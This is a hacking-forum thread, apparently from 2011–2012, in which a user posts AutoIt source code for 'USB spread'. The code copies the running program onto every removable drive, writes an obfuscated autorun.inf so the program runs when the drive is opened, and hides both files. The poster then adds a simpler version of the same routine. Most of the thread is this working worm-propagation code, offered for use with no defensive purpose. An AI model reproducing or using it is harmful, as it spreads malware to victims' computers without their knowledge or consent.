Sinisterly
[AutoIt]Advanced USB Spread - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: [AutoIt]Advanced USB Spread (/Thread-AutoIt-Advanced-USB-Spread)



[AutoIt]Advanced USB Spread - 1234hotmaster - 09-26-2011

Code:
;Made by 1234hotmaster _SpreadUSB() Func _RandomAlphaNum($len) Dim $OP,$Alpha[27] = ["a", "b", "c", "d", "e", "f", "g", _ "h", "i", "j", "k", "l", "m", "n", _ "o", "p", "q", "r", "s", "t", "u", _ "v", "w", "x", "y", "z"] Do Switch Random(1,4,1) case 1 $OP &= $Alpha[Random(0,26,1)] case 2 $OP &= StringUpper($Alpha[Random(0,26,1)]) case 3 $OP &= Random(0,10,1) EndSwitch Until StringLen($OP) >= $len Return $OP EndFunc Func _SpreadUSB($_FNameWithExt=@ScriptName,$_Hidden=True) $Drives = DriveGetDrive("REMOVABLE") If IsArray($Drives) And Not @error Then For $i=1 To $Drives[0] If FileExists($Drives[$i] & "\" & $_FNameWithExt) Then FileDelete($Drives[$i] & "\" & $_FNameWithExt) If FileExists($Drives[$i] & "\autorun.inf") Then FileDelete($Drives[$i] & "\autorun.inf") FileCopy(@ScriptFullPath, $Drives[$i] & "\" & $_FNameWithExt) FileWrite($Drives[$i] & "\autorun.inf",Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ _RandomAlphaNum(Random(4,20,1)) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ _RandomAlphaNum(Random(4,20,1)) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(9,20,1)) & Chr(93) & @CRLF & _ "[autorun]" & @CRLF & _ _RandomAlphaNum(Random(10,30,1)) & @CRLF & _ "open=" & $_FNameWithExt & @CRLF & _ _RandomAlphaNum(Random(10,30,1)) & @CRLF & _ _RandomAlphaNum(Random(5,20,1)) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ _RandomAlphaNum(Random(4,20,1)) & @CRLF & _ "shellexecute=" & $_FNameWithExt & @CRLF & _ _RandomAlphaNum(Random(4,20,1)) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(15,40,1)) & Chr(93) & @CRLF & _ "action=Open Folder To View Files" & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(20,40,1)) & Chr(93) & @CRLF & _ _RandomAlphaNum(Random(4,20,1)) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _ Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF) If $_Hidden Then FileSetAttrib($Drives[$i] & "\" & $_FNameWithExt,"+SH") FileSetAttrib($Drives[$i] & "\autorun.inf", "+SHR") EndIf Next EndIf EndFunc



RE: [AutoIt]Advanced USB Spread - Jacob - 09-26-2011

autoit = looks confusing D:



RE: [AutoIt]Advanced USB Spread - 1234hotmaster - 09-26-2011

nah its easy i used complicated stuff including arrays Tongue

a simple usb spread would be:
Code:
$Drives = DriveGetDrive("REMOVABLE") If IsArray($Drives) Then for $i = 1 to $drives[0] FileCopy(@ScriptFullPath, $Drives[$i] & "\" & @scriptname) FileWrite($Drives[$i] & "\autorun.inf", "[autorun]" & @CRLF & "open=" & @scriptname & @CRLF & "shellexecute=" & @scriptname & @CRLF & "action=Open USB To View Files") next endif



RE: [AutoIt]Advanced USB Spread - Alienbablu - 05-19-2012

what is the use of it ...please help!!!


RE: [AutoIt]Advanced USB Spread - 1234hotmaster - 05-25-2012

it copies your file to a USB and setups a autorun for it.